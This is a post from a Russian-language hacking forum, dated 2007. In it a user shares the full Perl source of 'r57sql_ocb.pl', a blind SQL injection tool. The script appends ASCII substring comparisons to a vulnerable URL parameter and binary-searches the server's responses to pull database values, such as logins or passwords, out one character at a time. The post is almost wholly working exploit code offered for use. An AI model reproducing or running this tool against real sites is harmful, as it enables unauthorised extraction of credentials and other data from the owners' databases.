Показать сообщение отдельно

  #8  
Старый 24.01.2007, 16:48
C[]R3
Познающий
Регистрация: 16.01.2007
Сообщений: 37
Провел на форуме:
164161

Репутация: 20
По умолчанию

Цитата:
У меня был скрипт который перебирал буквы логина или пасса... Задал номер символа в логине или пассе и он перебираетъ
r57_sql_ocb.pl кажетсо, вот код
Код:
#!/usr/bin/perl

# r57sql_ocb.pl
# sql-databases one char bruteforce tool

use LWP::UserAgent;

$path   = $ARGV[0]; # запрос с уязвимому скрипту с параметром
$query  = $ARGV[1]; # запрос к БД (подзапрос) результат которого будет вставлен в функцию substring()
$s_num  = $ARGV[2]; # позиция символа который перебираем
$string = $ARGV[3]; # строка в ответе сервера по наличию которой судим о успешном выполнении запроса к БД 

if (@ARGV < 4) { &usage; }

# диапазон символов для перебора
$min = $ARGV[4] || 97;  # a
$max = $ARGV[5] || 122; # z 

&found($min,$max);

# подпрограмма уменьшения диапазона символов
sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 # если диапазон менее 5 символов то переходим к перебору
 if (($fmax-$fmin)<5) { &crack($fmin,$fmax); } 
 # иначе находим середину диапазона
 print "-> Try $fmin .. $fmax -> "; 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = ">$r";
 # проверяем ответ скрипта и в зависимости от возвращенного результата
 # рекурсивно вызываем функцию с новым диапазоном (уже уменьшенным в 2 раза)
 if ( &check($check) ) { print "Char > $r\r\n"; &found($r,$fmax); }
 else { print "Char < $r\r\n"; &found($fmin,$r+1); }
 }

# подпрограмма поиска перебором 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 # проходим циклом по диапазону
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  print "-> Try $i ->";
  # проверяем ответ скрипта, если ответ положительный то выводим символ и выходим 
  if ( &check($crcheck) ) { print " FOUND!\r\n-> Ascii: $i\r\n-> Char: ".chr($i); exit(); }
  else { print " NO =(\r\n"; }
  $i++;
  }
 print "NOT FOUND"; exit();
 }

# подпрограмма проверки результата запроса 
sub check($)
 {
 $ccheck = $_[0];
 # формируем запрос к скрипту
 $http_query = $path." AND ascii(lower(substring(".$query.",".$s_num.",1)))".$ccheck;
 # отправляем запрос
 $mcb_reguest = LWP::UserAgent->new() or die;
 $res = $mcb_reguest->post($http_query); 
 # получаем ответ сервера
 @results = $res->content; 
 foreach $result(@results)
  {
  # ищем в ответе скрипта строку совпадающую с нашим условием
  if ($result =~ /$string/) { return 1; }
  }
 return 0;
 }
 
sub usage
 {
 print "Usage: $0 [path_to_script?param] [DB_query] [symbol_position] [return_string] [brute_min_char] [brute_max_char]\r\n";
 print "e.g. : $0 http://server.com/users.php?id=1 \"user()\" 1 \"Found: 3\" 48 57";
 exit(); 
 }
 
Ответить с цитированием